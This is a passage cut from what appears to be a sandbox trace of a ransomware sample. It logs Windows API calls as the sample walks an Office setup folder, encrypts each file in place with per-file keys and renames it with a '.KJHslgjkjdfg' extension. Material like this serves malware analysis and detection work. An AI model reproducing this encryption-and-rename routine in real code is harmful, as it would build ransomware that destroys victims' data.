Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.kjhslgjkjdfg")) returned 1 [0143.417] CloseHandle (hObject=0x13c) returned 1 [0143.417] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4114ea00, ftCreationTime.dwHighDateTime=0x1ca6af2, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4114ea00, ftLastWriteTime.dwHighDateTime=0x1ca6af2, nFileSizeHigh=0x0, nFileSizeLow=0x11644, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OCT.CHM", cAlternateFileName="")) returned 1 [0143.417] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.418] GetProcessHeap () returned 0x2a0000 [0143.419] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0143.419] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0143.419] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0143.419] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0xc, lpOverlapped=0x0) returned 1 [0143.456] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.457] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.457] GetProcessHeap () returned 0x2a0000 [0143.457] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0143.457] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30) returned 1 [0143.457] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.457] WriteFile (in: hFile=0x13c, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290ed60*=0x30, lpOverlapped=0x0) returned 1 [0143.457] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0143.457] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0143.457] WriteFile (in: hFile=0x13c, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0143.457] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0143.457] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0143.457] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.457] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.457] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.457] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x11644, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x11644, lpOverlapped=0x0) returned 1 [0143.460] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x11650, dwBufLen=0x11650 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x11650) returned 1 [0143.461] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.461] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x11650, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x11650, lpOverlapped=0x0) returned 1 [0143.461] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.461] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x11714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.461] SetEndOfFile (hFile=0x13c) returned 1 [0143.464] GetProcessHeap () returned 0x2a0000 [0143.464] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0143.464] GetProcessHeap () returned 0x2a0000 [0143.464] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0143.464] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.kjhslgjkjdfg")) returned 1 [0143.473] CloseHandle (hObject=0x13c) returned 1 [0143.473] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7c27050, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeMUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0143.473] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.474] GetProcessHeap () returned 0x2a0000 [0143.474] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0143.474] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0143.474] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0143.474] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0xb, lpOverlapped=0x0) returned 1 [0143.479] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.479] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.479] GetProcessHeap () returned 0x2a0000 [0143.479] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0143.480] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40) returned 1 [0143.480] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.480] WriteFile (in: hFile=0x13c, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290ed60*=0x40, lpOverlapped=0x0) returned 1 [0143.480] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0143.480] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0143.480] WriteFile (in: hFile=0x13c, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0143.480] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0143.480] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0143.480] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.480] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.480] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.480] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x15b5, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x15b5, lpOverlapped=0x0) returned 1 [0143.481] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x15c0, dwBufLen=0x15c0 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x15c0) returned 1 [0143.482] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.482] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x15c0, lpOverlapped=0x0) returned 1 [0143.482] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.482] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x1694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.482] SetEndOfFile (hFile=0x13c) returned 1 [0143.485] GetProcessHeap () returned 0x2a0000 [0143.485] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0143.485] GetProcessHeap () returned 0x2a0000 [0143.485] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0143.485] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.kjhslgjkjdfg")) returned 1 [0143.490] CloseHandle (hObject=0x13c) returned 1 [0143.490] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeMUISet.XML", cAlternateFileName="OFFICE~2.XML")) returned 1 [0143.490] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.491] GetProcessHeap () returned 0x2a0000 [0143.491] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0143.491] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0143.491] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0143.491] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0xd, lpOverlapped=0x0) returned 1 [0143.498] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.498] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.498] GetProcessHeap () returned 0x2a0000 [0143.499] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0143.499] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40) returned 1 [0143.499] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.499] WriteFile (in: hFile=0x13c, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290ed60*=0x40, lpOverlapped=0x0) returned 1 [0143.499] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0143.499] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0143.499] WriteFile (in: hFile=0x13c, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0143.499] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0143.499] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0143.499] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.499] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.499] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.500] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x333, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x333, lpOverlapped=0x0) returned 1 [0143.500] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x340, dwBufLen=0x340 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x340) returned 1 [0143.500] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.500] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x340, lpOverlapped=0x0) returned 1 [0143.500] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.500] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.500] SetEndOfFile (hFile=0x13c) returned 1 [0143.503] GetProcessHeap () returned 0x2a0000 [0143.503] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0143.503] GetProcessHeap () returned 0x2a0000 [0143.503] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0143.503] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.kjhslgjkjdfg")) returned 1 [0143.504] CloseHandle (hObject=0x13c) returned 1 [0143.504] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OSETUPUI.DLL", cAlternateFileName="")) returned 1 [0143.504] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4804a00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd4804a00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="promointl.dll", cAlternateFileName="PROMOI~1.DLL")) returned 1 [0143.504] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d0b6300, ftCreationTime.dwHighDateTime=0x1ca9107, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2d0b6300, ftLastWriteTime.dwHighDateTime=0x1ca9107, nFileSizeHigh=0x0, nFileSizeLow=0x9339, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSCONFIG.CHM", cAlternateFileName="")) returned 1 [0143.504] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.505] GetProcessHeap () returned 0x2a0000 [0143.505] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0143.505] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0143.505] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0143.505] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0x7, lpOverlapped=0x0) returned 1 [0143.508] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.508] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.508] GetProcessHeap () returned 0x2a0000 [0143.508] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0143.508] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40) returned 1 [0143.508] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.508] WriteFile (in: hFile=0x13c, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290ed60*=0x40, lpOverlapped=0x0) returned 1 [0143.508] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0143.508] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0143.508] WriteFile (in: hFile=0x13c, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0143.509] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0143.509] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0143.509] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.509] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.509] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.509] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x9339, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x9339, lpOverlapped=0x0) returned 1 [0143.511] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x9340, dwBufLen=0x9340 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x9340) returned 1 [0143.511] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.511] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x9340, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x9340, lpOverlapped=0x0) returned 1 [0143.511] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.511] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x9414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.512] SetEndOfFile (hFile=0x13c) returned 1 [0143.514] GetProcessHeap () returned 0x2a0000 [0143.514] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, 